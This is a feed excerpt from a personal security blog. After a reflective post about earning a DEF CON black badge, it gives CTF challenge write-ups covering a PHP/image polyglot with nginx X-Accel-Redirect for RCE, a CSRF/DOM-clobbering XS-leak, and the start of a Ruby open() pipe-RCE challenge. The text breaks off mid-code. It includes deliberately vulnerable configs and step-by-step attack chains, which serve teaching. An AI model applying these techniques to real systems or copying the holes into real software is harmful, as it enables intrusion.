<p>Getting a black badge feels surreal. It feels additionally more surreal thinking about where I started and how I got here. I spent a significant part of my life catching up to people I admired. I used to have my future set for an artistic career and I perpetually felt in the shadow of other artists I learned from. All throughout college I was insecure of the fact that I had 0 direction nor pre-requisite coding ability compared to my peers, and felt like I had to spend my free time learning what the fuck multi-threading was just to feel normal around my friends. It&rsquo;s the same feeling in the CTF scene. Alot of people have, and probably will, doubt my ability. I was happy about learning what SQLi stood for around the same time others in the scene were doing much, much more. And I&rsquo;ll be honest, I&rsquo;m not sure I&rsquo;m done &ldquo;catching up&rdquo;. But at the very least, I don&rsquo;t feel like I have to anymore. I don&rsquo;t feel the same impulses to compare myself against others. I want to &ldquo;catch-up&rdquo; because there&rsquo;s still a world of vulnerabilities I would love to learn about, for myself.</p>
<h2 id="epilogue">Epilogue</h2>
<p>I remember in the later part of 2020, around November, Maple Bacon and I played in DragonCTF 2020. At that point in time just several months ago I had graduated from PicoCTF to regular CTFs, but DragonCTF was a significant leap of difficulty then what I was used to. I wasn&rsquo;t really expecting to solve anything in DragonCTF 2020, but then I did. <a href="https://maplebacon.org/2020/11/dragonctf2020-harmony_chat/">Harmony Chat</a>, which still holds a special place in my heart. I remember thinking &ldquo;Wow. Just a few months and I&rsquo;ve learnt so much. What else will I be able to achieve in the CTF space?&rdquo;</p>
<p>3 years ago, I learnt about the world of CTFs, trying out problems in PicoCTF and learning stuff about SQLi, XSS, simple stack bofs, and the like.</p>
<p>This year, I claimed a black badge at DEF CON 31. I authored multiple web challenges, covering topics from TLS poisoning to TypeScript pop chains. I&rsquo;m a security engineer. I&rsquo;ve upgraded from XSS bugs to things like complex v8 speculative optimizational vulnerabilities, novel SSRF techniques, and so much more.</p>
<p>I&rsquo;m quite happy with the progress I&rsquo;ve made so far. I&rsquo;m quite happy with the progress that Maple Bacon has made so far. I love my team, Maple Bacon and MMM, no matter how cheesy that sounds. Looking towards the future has never been so bright.</p>
]]></content>
        </item>
        
        <item>
            <title>PBCTF 2023 : JAZZY x VIE CHALS</title>
            <link>https://jamvie.net/posts/2023/02/pbctf-2023-jazzy-x-vie-chals/</link>
            <pubDate>Tue, 21 Feb 2023 15:25:54 -0700</pubDate>
            
            <guid>https://jamvie.net/posts/2023/02/pbctf-2023-jazzy-x-vie-chals/</guid>
            <description>I was a guest challenge writer for perfect blue&amp;rsquo;s CTF held mid February. We play-tested each others chals :P
MAKIMA Challenge Description Makima simps check in here
I&amp;rsquo;m actually a Power stan. I just needed an excuse for people to look at my Makima drawing.
TL;DR Hide php in image, making a PHP/image polyglot X-Accel-Header redirection through CDN to reach internal .php files and access /uploads/your_img.png/lol.php to execute PHP The important parts The default.</description>
            <content type="html"><![CDATA[<p>I was a guest challenge writer for perfect blue&rsquo;s CTF held mid February. We play-tested each others chals :P</p>
<h2 id="makima">MAKIMA</h2>
<h3 id="challenge-description">Challenge Description</h3>
<blockquote>
<p>Makima simps check in here</p>
</blockquote>
<p>I&rsquo;m actually a Power stan. I just needed an excuse for people to look at my Makima drawing.</p>

    <img src="/images/pb2023_MAKIMA.png"  alt="Makima"  class="center"  style="border-radius: 8px;"  />


<h3 id="tldr">TL;DR</h3>
<ul>
<li>Hide php in image, making a PHP/image polyglot</li>
<li>X-Accel-Header redirection through CDN to reach internal <code>.php</code> files and access <code>/uploads/your_img.png/lol.php</code> to execute PHP</li>
</ul>
<h3 id="the-important-parts">The important parts</h3>
<p>The <code>default.conf</code>, which is the config used for the nginx proxy server, has an RCE vulnerability:</p>
<pre tabindex="0"><code>#default.conf
    location ~ \.php$ {
        internal;
        include fastcgi_params;
        fastcgi_intercept_errors on;
        fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
        fastcgi_pass unix:/run/php/php7.4-fpm.sock;
    }
</code></pre><p>Any path ending in <code>.php</code> is passed to the fastcgi PHP interpreter which executes the file (with quirks). If such a site allows you to upload your own files, you can upload an arbitrary <code>.php</code> file and navigate to it in order to pass it to the interpreter and achieve RCE. This is especially bad due to <a href="(https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/#passing-uncontrolled-requests-to-php)">fastcgi&rsquo;s well-known &ldquo;fix path&rdquo; quirk</a>:</p>
<blockquote>
<p>For instance, if a request is made for /forum/avatar/1232.jpg/file.php which does not exist but if /forum/avatar/1232.jpg does, the PHP interpreter will process /forum/avatar/1232.jpg instead. If this contains embedded PHP code, this code will be executed accordingly.</p>
</blockquote>
<p>Additionally, <code>.php</code> locations are all <code>internal</code> meaning that they&rsquo;re only accessible via internal (within server system) redirects.</p>
<p>The reason we can access index.php is due to this tiny snippet:</p>
<pre tabindex="0"><code>    location / {
        index index.php;
    }
</code></pre><p><code>index</code> is an internal rewrite of the index file index.php.</p>
<hr>
<p>The PHP code that handles uploading and file submission actually makes requests through a CDN proxy in <code>file_get_contents</code>:</p>
<pre tabindex="0"><code>if(isset($_POST[&#34;url&#34;])){ 
    $cdn_url = &#39;http://localhost:8080/cdn/&#39; . $_POST[&#34;url&#34;];
    $img = @file_get_contents($cdn_url);
    $f = finfo_open();
    $mime_type = finfo_buffer($f, $img, FILEINFO_MIME_TYPE);
    $fileName = &#39;uploads/&#39; . substr(md5(rand()), 0, 13);
    $success = makeimg($img, $fileName, $mime_type);
    if ($success !== 0) {
        $msg = $success;
    }
} 
</code></pre><p>And in the <code>default.conf</code> all <code>/cdn/</code> requests are proxied to a flask application running on port 8081:</p>
<pre tabindex="0"><code>   location /cdn/ {
        allow 127.0.0.1/32;
        deny all;
        proxy_pass http://cdn;
    }
</code></pre><p>The CDN handler is defined as follows:</p>
<pre tabindex="0"><code>@app.route(&#34;/cdn/&lt;path:url&gt;&#34;)
def cdn(url):
    mimes = [&#34;image/png&#34;, &#34;image/jpeg&#34;, &#34;image/gif&#34;, &#34;image/webp&#34;]
    r = requests.get(url, stream=True)
    if r.headers[&#34;Content-Type&#34;] not in mimes:
        return &#34;????&#34;, 400
    img_resp = make_response(r.raw.read(), 200)
    for header in r.headers:
        if header == &#34;Date&#34; or header == &#34;Server&#34;:
            continue
        img_resp.headers[header] = r.headers[header]
    return img_resp
</code></pre><p>This verifies that the URL supplied actually resolves to a filestream with the correct mimetype. The raw bytes are sent back as the response.</p>
<p>So we have 3 things to consider:</p>
<ul>
<li>Unsafe fast-cgi handling of <code>.php</code> files - if <code>/uploads/img.jpg/lol.php</code> is accessed and a <code>lol.php</code> doesn&rsquo;t exist in that path but <code>/uploads/img.jpg</code> does, fastcgi will attempt to interpret the image as code.</li>
<li>Ability to upload only images through a CDN - the CDN verifies the requested URL leads to an image, before passing it back the image uploader.</li>
<li>The fastcgi is behind an internal directive so it&rsquo;s not publicly accessible.</li>
</ul>
<h3 id="hiding-code-in-an-image--php-image-polyglot">Hiding code in an image // PHP image polyglot</h3>
<p>The code only accepts (and, ostensibly, recieves) images, and attempts to compress given bytestreams as a specific image format (<code>.png</code>, <code>.jpg</code>, <code>.webp</code>, <code>.gif</code>) before saving it to the filesystem. But are we able to add arbitrary data to the image?</p>
<p>This still needs to be an image to pass all the previous checks in the CDN, and needs to be a valid image. Otherwise, the PHP GD library will complain and fail to save to filesystem.</p>
<p>We know that FastCGI will happily process an image into its interpreter, so encoding a shell into such a picture would be the way to go.</p>
<p>Note that I gave 4 options. Let me know which image format you used :&gt;</p>
<ul>
<li>
<p>PNG - You can hide your PHP code in either the PLTE chunks or IDAT chunks of the image, PLTE being important header data and IDAT being the literal pixels comprising the picture. I believe the PLTE chunks were easier to embed into, as a Synacktiv blog post will outline.</p>
</li>
<li>
<p>JPEG - You can encode a minishell which, using Huffman tables, decodes into valid code. Embed it at the beginning of the image, and pad your payload with JPEG MCU bits (Minimum Code Unit) then cut off any strangler bits at the end.</p>
</li>
<li>
<p>GIF - You can embed a minishell in the small space of null bytes that are always present in the gif header, which persists across compressions/resizes. This is the easiest way, although the margin is small and may require some PHP golfing.</p>
</li>
</ul>
<p>I believe most people either chose the <code>png</code> route or the <code>gif</code> route, the former because of the Synacktiv article and the latter because it was simpler to do. I thought about restricting format to <em>just</em> jpeg, the hardest one imo, but decided not to.</p>
<h3 id="x-accel-redirect-through-the-cdn">X-Accel-Redirect through the cdn</h3>
<p>The <code>internal</code> directive is, at first glance, problematic for us since that means we can&rsquo;t directly access <code>/uploads/pic.png/doesntexist.php</code>. It&rsquo;ll be an external request so nginx will simply 404 us. We instead need it to instead force a internal redirect on a succesful response.</p>
<p>This is where the CDN proxy comes into play, as it is an upstream (through nginx&rsquo;s <code>proxy-pass</code> directive) and therefore able to do internal re-routing.</p>
<p>Luckily for us, nginx features a fancy header called <code>X-Accel-Redirect</code> - a response header which tells the recieving server that the request should be re-routed to whatever the value is in that header (usually a URI). If nginx sees this response header, it will cause an internal redirect to the specified resource. So we can instead specify <code>X-Accel-Redirect</code> since the CDN copies all response headers into the resulting response thrown back to the upload server:</p>
<pre tabindex="0"><code>    img_resp = make_response(r.raw.read(), 200)
    for header in r.headers:
        if header == &#34;Date&#34; or header == &#34;Server&#34;:
            continue
        img_resp.headers[header] = r.headers[header]
</code></pre><p>And have its value be that of <code>/uploads/imgyouuploaded.png/doesntexist.php</code> to execute the code within your image!</p>
<p>NOTE: In this way, the CDN proxy gets redirected, not us - so we won&rsquo;t actually see the results of that redirect. But that&rsquo;s fine, we don&rsquo;t need to see our code being run, it just needs to run. :&gt;</p>
<h3 id="step-by-step">Step-by-step</h3>
<ol>
<li>Create an image, with PHP code hidden in the bytes, and host it on a server you control (below I have attached a gif example here that has <code>&lt;?php touch(&quot;/tmp/lol&quot;)?&gt;</code> embedded within).</li>
</ol>

    <img src="/images/leol.gif"  alt="gif/php"  class="center"  style="border-radius: 8px;"  />


<ol start="2">
<li>
<p>Send over your server url to Makima (the image upload server), the CDN proxy will recieve and pass it back so she can save it to disk. Take note of the provided filename.</p>
</li>
<li>
<p>Your PHP/image polyglot is on the server now. Have your server return an <code>X-Accel-Redirect</code> response header with the value <code>/uploads/your_img.gif/owa.php</code>, and request it again so the CDN copies it, and nginx will redirect the proxy to that URI which triggers FastCGI.</p>
</li>
<li>
<p>FastCGI won&rsquo;t find <code>/uploads/your_img.gif/owa.php</code> but it will find <code>/uploads/your_img.gif</code> so it interprets that instead. Your PHP code will run.</p>
</li>
<li>
<p>FLAG! <code>pbctf{actually_power_is_the_better_character}</code></p>
</li>
</ol>
<h2 id="xsps">XSPS</h2>
<p>XSPS was Jazzy&rsquo;s challenge which was the last web released in pbctf 2023.</p>
<h3 id="challenge-description-1">Challenge Description</h3>
<blockquote>
<p>The Notes app is back again</p>
</blockquote>
<h3 id="tldr-1">TL;DR</h3>
<ul>
<li>CSRF admin to change notes for HTML injection</li>
<li>DOM-clobber <code>body</code></li>
<li>Control <code>href</code> to note with iframes</li>
<li>Detect frame count for xs-leak</li>
</ul>
<h3 id="the-important-parts-1">The important parts</h3>
<p>The general idea of the app:</p>
<ul>
<li>Classic notes app, you can make note with a title and &ldquo;highlight&rdquo; one to be featured on the home page</li>
<li>Notes are stored via cookies</li>
<li>You can search for notes based on the content of the body</li>
</ul>
<hr>
<p>There is a restrictive CSP, plus even further restricting scripts to only nonce:</p>
<pre tabindex="0"><code>@app.after_request
def add_CSP(response):
    response.headers[&#39;Content-Security-Policy&#39;] = f&#34;default-src &#39;self&#39;; script-src &#39;nonce-{g.nonce}&#39;&#34;
    return response
</code></pre><p>And the bot in the challenge has HTTPOnly cookies. So maybe no XSS - but hey, there&rsquo;s no CSRF protections. So&hellip;</p>
<hr>
<p>There is a <code>static/main/js</code> file which handles some client-side events, but the most notable one being what occurs when the window loads up:</p>
<pre tabindex="0"><code>window.onload = async function(){
    //init
    document.body.highlighted_note = await get_higlighted_note();
    document.body.search_result = document.getElementById(&#39;search_result&#39;);
    document.body.search_content = document.getElementById(&#39;search_content&#39;)
    document.body.search_open = document.getElementById(&#39;search_open&#39;)

    //highlight note
    document.getElementById(&#39;highlighted&#39;).innerHTML = document.body.highlighted_note;

    //search handler
    document.getElementById(&#39;search_button&#39;).onclick = search_click;
}
</code></pre><p>There is functionality that allows you to search the content of submitted notes, based on the client-side JS above.</p>
<pre tabindex="0"><code>async function search_name(search_data){
    let should_open = search_data[&#39;open&#39;]
    let query = search_data[&#39;query&#39;]

    let notes = await get_all_notes();

    let found_note = notes.find((val) =&gt; val.note.toString().startsWith(query));
    if(found_note == undefined){
        document.body.search_result.href = &#39;&#39;;
        document.body.search_result.text = &#39;NOT FOUND&#39;
        document.body.search_result.innerHTML += &#39;&lt;br&gt;&#39;
    }

    document.body.search_result.href = `note/${found_note.name}`;
    document.body.search_result.text = &#39;FOUND&#39;
    document.body.search_result.innerHTML += &#39;&lt;br&gt;&#39;
    if(should_open)document.body.search_result.click();
}

async function search_click(){
    search_name({&#39;query&#39;:document.body.search_content.value, &#39;open&#39; : document.body.search_open.checked})
}
</code></pre><h3 id="csrf---html-injection">CSRF -&gt; HTML injection</h3>
<p>First and foremost, the CSP is annoying but it allows for iframes. There is additionally 0 CSRF protection - use this to your advantage to make the admin bot navigate to your site and CSRF them to change/update notes where the content contains iframes. How do we leverage this to leak the flag?</p>
<h3 id="dom-clobbering-windowbody">DOM-Clobbering window.body</h3>
<p>You can inject an iframe with a <code>srcdoc</code> element - combine this with the client-side functionality above and see that you can DOM-clobber the <code>body</code> element of window through your iframe&rsquo;s <code>srcdoc</code>. This leads to overriding <code>document.body</code>.</p>
<p>Doing so clobbers all the variables of <code>document.body</code>, allowing you greater control over the variables that were set in <code>window.onload</code>&rsquo;s function in <code>main.js</code>. More specifically - <code>search_result</code>.</p>
<p>When the search button is clicked, <code>search_click()</code> is called which subsequently calls <code>search_name()</code> with an object as the argument - consisting of 2 properties: <code>query</code> being the value of <code>document.body.search_content.value</code> and <code>open</code> being the value of <code>document.body.search_open.checked</code>.</p>
<pre tabindex="0"><code>async function search_name(search_data){
    let should_open = search_data[&#39;open&#39;] \\document.body.search_open.checked`
    let query = search_data[&#39;query&#39;] \\document.body.search_content.value

    let notes = await get_all_notes();

    let found_note = notes.find((val) =&gt; val.note.toString().startsWith(query));
    if(found_note == undefined){
        document.body.search_result.href = &#39;&#39;;
        document.body.search_result.text = &#39;NOT FOUND&#39;
        document.body.search_result.innerHTML += &#39;&lt;br&gt;&#39;
    }

    document.body.search_result.href = `note/${found_note.name}`;
    document.body.search_result.text = &#39;FOUND&#39;
    document.body.search_result.innerHTML += &#39;&lt;br&gt;&#39;
    if(should_open)document.body.search_result.click();
}
</code></pre><p>Note that the <code>document.body.search_result.href</code> is set to a relative path (if found) of <code>note/${found_note.name}</code>. Then, it&rsquo;s navigated to via <code>if(should_open)document.body.search_result.click();</code>. Since we can inject iframes of our choosing, we are able to set the base URI within the iframe&rsquo;s srcdoc, giving us control over what note is pointed to.</p>
<h3 id="ifriframesames">Ifr&lt;Iframes&gt;ames</h3>
<p>The ability to control the <code>href</code> that the user navigates to sets up our XS-leak - allowing us to navigate to notes of our choosing. We could point the admin to a note containing more iframes, giving us our preferred gadget to leak the flag character by character. We do this by setting up a <code>base href</code> attribute in the srcdoc of the iframe that&rsquo;s also DOM-clobbering the body element, letting us control what note an admin visits.</p>
<p>When <code>if(should_open)document.body.search_result.click();</code> occurs, the <code>click()</code> would set <code>_target</code> to that of an iframe (&lsquo;iframe B&rsquo;) that you control within the srcdoc of your first iframe (&lsquo;iframe A&rsquo;). Iframe B can then be detected to have more subframes within, giving you an XS-Leak.</p>
<h3 id="step-by-step-1">Step-by-step</h3>
<ol>
<li>
<p>Create CSRF to POST a new note with multiple iframes in it - set it to the name of the flag&rsquo;s note (which should just be &ldquo;flag&rdquo;). Do NOT highlight this note.</p>
</li>
<li>
<p>Open a window of the home page, you&rsquo;ll need it for later, and give it a unique name (&ldquo;windowA&rdquo;).</p>
</li>
<li>
<p>CSRF another note, which contains your iframe that has srcdoc which DOM-clobbers <code>body</code> and <code>search_result</code> (note name doesn&rsquo;t matter). Highlight this note.</p>
</li>
<li>
<p>Open a window, but use the same name as before (&ldquo;windowA&rdquo;) with the location being <code>xsps.chal.perfect.blue#the_b64'ed_JSON_object</code> (the JSON object having properties open=true and query=the substring of the flag you&rsquo;re guessing) to call the search function.</p>
</li>
<li>
<p>Check that the number of frames present in that window are equal to the number of frames in the first flag note that you made. If the condition is true, the character you guessed is in the flag. If not, the character isn&rsquo;t in the flag.</p>
</li>
<li>
<p>Repeat until flag: <code>pbctf{V_5w33p1ng_n0t3s_und3r_4_r4d10_s1l3nT_RuG}</code></p>
</li>
</ol>
]]></content>
        </item>
        
        <item>
            <title>MapleCTF 2022    : Vie&#39;s challenges</title>
            <link>https://jamvie.net/posts/2022/09/maplectf-2022-vies-challenges/</link>
            <pubDate>Thu, 01 Sep 2022 14:50:08 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2022/09/maplectf-2022-vies-challenges/</guid>
            <description>MapleCTF 2022 ran this year to great success, which is fantastic given the tight timeframe we were operating on shortly after coming back from DEFCON 30. We held a beginner-friendly, UBC-local version back in January, so our endgame for this version was to make more creative and harder challenges that people hopefully enjoyed. I wrote 3 web challenges for this CTF: honksay, Viene Library and Art Gallery, the latter 2 I will detail here.</description>
            <content type="html"><![CDATA[<p>MapleCTF 2022 ran this year to great success, which is fantastic given the tight timeframe we were operating on shortly after coming back from DEFCON 30. We held a beginner-friendly, UBC-local version back in January, so our endgame for this version was to make more creative and harder challenges that people hopefully enjoyed. I wrote 3 web challenges for this CTF: honksay, Viene Library and Art Gallery, the latter 2 I will detail here. I hope you enjoyed them if you played!</p>
<h2 id="viene-library-11-solves">Viene Library (11 solves)</h2>
<p>Viene Library was a challenge I thought of using my &ldquo;flag first&rdquo; design template - where I think of the flag value and make a whole challenge around it. :&gt;</p>
<p>I guess no one remembers vine anymore cause I don&rsquo;t think anyone remembered the references I put in? Especially the flag value, which was this <a href="https://www.youtube.com/watch?v=nSYiyg8LGzY">vine in particular (WARNING: profanity)</a>.</p>
<p>Anyway, crisis and nostalgia aside, Viene Library was predicated on combining <em>my favourite bug</em> prototype pollution and some cute and quirky things about how HTTP Rails servers operate.</p>
<h3 id="step-a-whats-in-the-code">Step A: What&rsquo;s in the code?</h3>
<p>The public facing server was a NodeJS one that would call back to a Ruby Rails server asking for txt files served from the filesystem - these txt files were my vine poems, or my &ldquo;vienes&rdquo;. Both servers were in the same network in the same container. Only the NodeJS one was publicly accessible on port 8080.</p>
<p><em>viene_controller.rb</em></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-rb" data-lang="rb"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">VieneController</span> <span style="color:#f92672">&lt;</span> <span style="color:#66d9ef">ApplicationController</span>
</span></span><span style="display:flex;"><span>    protect_from_forgery <span style="color:#e6db74">with</span>: <span style="color:#e6db74">:null_session</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">index</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> request<span style="color:#f92672">.</span>local?
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> request<span style="color:#f92672">.</span>put?
</span></span><span style="display:flex;"><span>                request_body <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>body<span style="color:#f92672">.</span>read
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span><span style="color:#e6db74">&#39;?&#39;</span>, <span style="color:#e6db74">&#39;{&#39;</span>, <span style="color:#e6db74">&#39;}&#39;</span>, <span style="color:#e6db74">&#39;~&#39;</span>, <span style="color:#e6db74">&#39;[&#39;</span>, <span style="color:#e6db74">&#39;]&#39;</span>, <span style="color:#e6db74">&#39;;&#39;</span><span style="color:#f92672">].</span>include?(request_body)
</span></span><span style="display:flex;"><span>                    render <span style="color:#e6db74">json</span>: {<span style="color:#e6db74">&#34;ERROR&#34;</span>: <span style="color:#e6db74">&#34;BAD HACKER&#34;</span>}
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">end</span>
</span></span><span style="display:flex;"><span>                viene <span style="color:#f92672">=</span> open(request_body)
</span></span><span style="display:flex;"><span>                render <span style="color:#e6db74">json</span>: {<span style="color:#e6db74">&#34;chosen_viene&#34;</span>: viene}
</span></span><span style="display:flex;"><span>                
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">elsif</span> request<span style="color:#f92672">.</span>post?
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> <span style="color:#f92672">[</span><span style="color:#e6db74">&#39;1.txt&#39;</span>, <span style="color:#e6db74">&#39;2.txt&#39;</span>, <span style="color:#e6db74">&#39;3.txt&#39;</span><span style="color:#f92672">].</span>include?(request<span style="color:#f92672">.</span>body<span style="color:#f92672">.</span>read)
</span></span><span style="display:flex;"><span>                    render <span style="color:#e6db74">json</span>: {<span style="color:#e6db74">&#34;chosen_viene&#34;</span>: <span style="color:#e6db74">&#34;Error&#34;</span>, <span style="color:#e6db74">&#34;chosen_viene_link&#34;</span>: <span style="color:#e6db74">&#34;https://www.youtube.com/watch?v=dQw4w9WgXcQ&#34;</span>}
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">else</span> 
</span></span><span style="display:flex;"><span>                    fullname <span style="color:#f92672">=</span> <span style="color:#66d9ef">File</span><span style="color:#f92672">.</span>join(<span style="color:#e6db74">&#34;app&#34;</span>,<span style="color:#e6db74">&#34;assets&#34;</span>, <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">#{</span>rand(<span style="color:#ae81ff">1</span><span style="color:#f92672">..</span><span style="color:#ae81ff">3</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">.txt&#34;</span>)
</span></span><span style="display:flex;"><span>                    viene <span style="color:#f92672">=</span> <span style="color:#66d9ef">File</span><span style="color:#f92672">.</span>read(fullname)
</span></span><span style="display:flex;"><span>                    <span style="color:#75715e">#memes</span>
</span></span><span style="display:flex;"><span>                    viene_poem <span style="color:#f92672">=</span> viene<span style="color:#f92672">.</span>split(<span style="color:#e6db74">&#39;&gt;&#39;</span>)<span style="color:#f92672">[</span><span style="color:#ae81ff">1</span><span style="color:#f92672">].</span>strip
</span></span><span style="display:flex;"><span>                    viene_url <span style="color:#f92672">=</span> viene<span style="color:#f92672">.</span>split(<span style="color:#e6db74">&#39;&gt;&#39;</span>)<span style="color:#f92672">[</span><span style="color:#ae81ff">0</span><span style="color:#f92672">].</span>strip
</span></span><span style="display:flex;"><span>                    render <span style="color:#e6db74">json</span>: {<span style="color:#e6db74">&#34;chosen_viene&#34;</span>: viene_poem, <span style="color:#e6db74">&#34;chosen_viene_link&#34;</span>: viene_url}
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">end</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>                render <span style="color:#e6db74">json</span>: {<span style="color:#e6db74">&#34;ERROR&#34;</span>: <span style="color:#e6db74">&#34;I didn&#39;t understand the request...&#34;</span>}
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">end</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span> 
</span></span><span style="display:flex;"><span>            render <span style="color:#e6db74">json</span>: {<span style="color:#e6db74">&#34;ERROR&#34;</span>: <span style="color:#e6db74">&#34;Ur not local...&#34;</span>}
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">end</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">end</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span>
</span></span></code></pre></div><p>The Rails server had only one purpose: to serve you vienes. If it recieved a POST request it would give you the appropriate viene if the filename you gave it in the POST was valid, else it would just give you a randomized one. If you gave it a PUT, you could open whatever you want.</p>
<p>I literally mean whatever you want. Ruby&rsquo;s native <code>open</code> call can open a <a href="https://apidock.com/ruby/Kernel/open">subprocess</a> and pipe whatever you specify into that subprocess if the argument you pass to <code>open</code> starts with a single pipe (<code>|</code>) character. This is insta-RCE, but of course, only accessible to us if we make a valid PUT request. However&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;/&#34;</span>, <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//Recieve random viene from my &#34;database&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">rand</span> <span style="color:#f92672">=</span> (Math.<span style="color:#a6e22e">floor</span>(Math.<span style="color:#a6e22e">random</span>()<span style="color:#f92672">*</span><span style="color:#ae81ff">3</span>))<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">filename</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">rand</span>.<span style="color:#a6e22e">toString</span>() <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;.txt&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">vieneSERVER</span>, {<span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;POST&#39;</span>, 
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">filename</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mode</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;no-cors&#39;</span>})
</span></span><span style="display:flex;"><span>  .<span style="color:#a6e22e">then</span>((<span style="color:#a6e22e">resp</span>) =&gt; (<span style="color:#a6e22e">resp</span>.<span style="color:#a6e22e">json</span>()))
</span></span><span style="display:flex;"><span>  .<span style="color:#a6e22e">then</span>((<span style="color:#a6e22e">data</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">send</span>(<span style="color:#a6e22e">template</span>(<span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">chosen_viene</span> <span style="color:#f92672">||</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">chosen_viene_link</span> <span style="color:#f92672">||</span> <span style="color:#e6db74">&#34;https://www.youtube.com/watch?v=dQw4w9WgXcQ&#34;</span>));
</span></span><span style="display:flex;"><span>  });
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">post</span>(<span style="color:#e6db74">&#34;/findaviene&#34;</span>, (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">viene</span>)
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">vieneSERVER</span>, {<span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;POST&#39;</span>, 
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">viene</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">mode</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;no-cors&#39;</span>})
</span></span><span style="display:flex;"><span>    .<span style="color:#a6e22e">then</span>((<span style="color:#a6e22e">resp</span>) =&gt; (<span style="color:#a6e22e">resp</span>.<span style="color:#a6e22e">json</span>()))
</span></span><span style="display:flex;"><span>    .<span style="color:#a6e22e">then</span>((<span style="color:#a6e22e">data</span>) =&gt; {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">send</span>(<span style="color:#a6e22e">template</span>(<span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">chosen_viene</span>, <span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">chosen_viene_link</span>));
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>  } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">send</span>(<span style="color:#a6e22e">template</span>(<span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#e6db74">&#34;https://www.youtube.com/watch?v=dQw4w9WgXcQ&#34;</span>));
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>In the nodeJS server, there are only 2 potential avenues where it talks to the Rails server, and neither are PUT requests. What do we do?</p>
<p>Putting a pin on it we can take a look further in nodeJS:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">standardizeViene</span>(<span style="color:#a6e22e">template</span>, <span style="color:#a6e22e">viene</span>) {
